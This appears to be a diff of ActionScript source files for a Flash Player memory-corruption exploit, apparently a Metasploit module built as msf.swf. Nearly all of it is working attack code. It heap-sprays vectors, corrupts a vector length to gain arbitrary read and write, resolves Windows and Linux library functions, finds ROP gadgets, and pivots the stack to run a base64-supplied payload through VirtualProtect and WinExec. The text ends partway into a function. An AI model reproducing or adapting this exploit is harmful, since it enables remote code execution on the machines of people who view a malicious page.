05ca4030 00000000 00000000 00000000 00000000
|
||||
05ca4040 00000000 00000000 00000000 00000000
|
||||
05ca4050 00000000 00000000 00000000 00000000
|
||||
05ca4060 00000000 00000000 00000000 00000000
|
||||
05ca4070 00000000 00000000 00000000 00000000
|
||||
*/
|
||||
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
|
||||
//log("uv[0][0]: " + uv[0][0].toString(16));
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
|
||||
//log("buffer: " + buffer.toString(16));
|
||||
|
||||
var main:uint = uv[0][0x2000009] - 1
|
||||
//log("main: " + main.toString(16));
|
||||
|
||||
var vtable:uint = vector_read(main)
|
||||
//log("vtable: " + vtable.toString(16));
|
||||
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
|
||||
byte_write(uv[0][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
//log("flash: " + flash.toString(16));
|
||||
|
||||
// Because of the sandbox, when you try to solve kernel32
|
||||
// from the flash imports on IE, it will solve ieshims.dll
|
||||
var ieshims:uint = module("kernel32.dll", flash)
|
||||
//log("ieshims: " + ieshims.toString(16));
|
||||
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
//log("kernel32: " + kernel32.toString(16));
|
||||
|
||||
var ntdll:uint = module("ntdll.dll", kernel32)
|
||||
//log("ntdll: " + ntdll.toString(16));
|
||||
|
||||
var urlmon:uint = module("urlmon.dll", flash)
|
||||
//log("urlmon: " + urlmon.toString(16));
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
//log("virtualprotect: " + virtualprotect.toString(16));
|
||||
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
//log("winexec: " + winexec.toString(16));
|
||||
|
||||
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
|
||||
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
|
||||
|
||||
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
|
||||
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
|
||||
|
||||
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
|
||||
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
|
||||
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
|
||||
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
|
||||
|
||||
// CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -39,7 +39,10 @@ public class Main extends Sprite
|
|||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
ba.length = 0x1000
|
||||
|
@ -204,4 +207,4 @@ public class Main extends Sprite
|
|||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,120 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Exploit.as
|
||||
|
||||
// It uses some original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.display.Loader
|
||||
import flash.utils.ByteArray
|
||||
import flash.utils.Endian
|
||||
import flash.utils.*
|
||||
import flash.external.ExternalInterface
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var exploiter:Exploiter
|
||||
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||
private var interval_id:uint
|
||||
private var trigger_swf:String
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String
|
||||
private var platform:String
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
var i:uint = 0
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
if (platform == 'win') {
|
||||
for (i = 0; i < 89698; i = i + 1) {
|
||||
spray[i] = new Vector.<uint>(1014)
|
||||
spray[i][0] = 0xdeadbeef
|
||||
spray[i][1] = 0xdeedbeef
|
||||
spray[i][2] = i
|
||||
spray[i][29] = 0x1a1e1429
|
||||
}
|
||||
|
||||
for(i = 0; i < 89698; i = i + 1) {
|
||||
spray[i].length = 0x1e
|
||||
}
|
||||
} else if (platform == 'linux') {
|
||||
for (i = 0; i < 89698; i = i + 1) {
|
||||
spray[i] = new Vector.<uint>(1022)
|
||||
spray[i][0] = 0xdeadbeef
|
||||
spray[i][1] = 0xdeedbeef
|
||||
spray[i][2] = i
|
||||
spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021
|
||||
spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58
|
||||
spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted)
|
||||
}
|
||||
}
|
||||
|
||||
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
|
||||
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
|
||||
trigger_byte_array.position = 0
|
||||
// Trigger corruption
|
||||
var trigger_loader:Loader = new Loader()
|
||||
trigger_loader.loadBytes(trigger_byte_array)
|
||||
|
||||
interval_id = setTimeout(do_exploit, 2000)
|
||||
}
|
||||
|
||||
|
||||
private function createByteArray(hex_string:String) : ByteArray {
|
||||
var byte:String
|
||||
var byte_array:ByteArray = new ByteArray()
|
||||
var hex_string_length:uint = hex_string.length
|
||||
var i:uint = 0
|
||||
while(i < hex_string_length)
|
||||
{
|
||||
byte = hex_string.charAt(i) + hex_string.charAt(i + 1)
|
||||
byte_array.writeByte(parseInt(byte,16))
|
||||
i = i + 2
|
||||
}
|
||||
return byte_array
|
||||
}
|
||||
|
||||
private function do_exploit():void {
|
||||
clearTimeout(interval_id)
|
||||
|
||||
for(var i:uint = 0; i < spray.length; i = i + 1) {
|
||||
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
|
||||
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
|
||||
spray[i][0x3ffffffe] = 0xffffffff
|
||||
spray[i][0x3fffffff] = spray[i][1023]
|
||||
uv = spray[i]
|
||||
}
|
||||
}
|
||||
|
||||
for(i = 0; i < spray.length; i = i + 1) {
|
||||
if (spray[i].length == 1022 || spray[i].length == 0x1e) {
|
||||
spray[i] = null
|
||||
}
|
||||
}
|
||||
|
||||
if (uv == null || uv.length != 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
exploiter = new Exploiter(this, platform, payload, uv)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
Logger.log("[*] ExploitByteArray - lets_ready()")
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 0x3e0
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,251 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:String
|
||||
private var platform:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
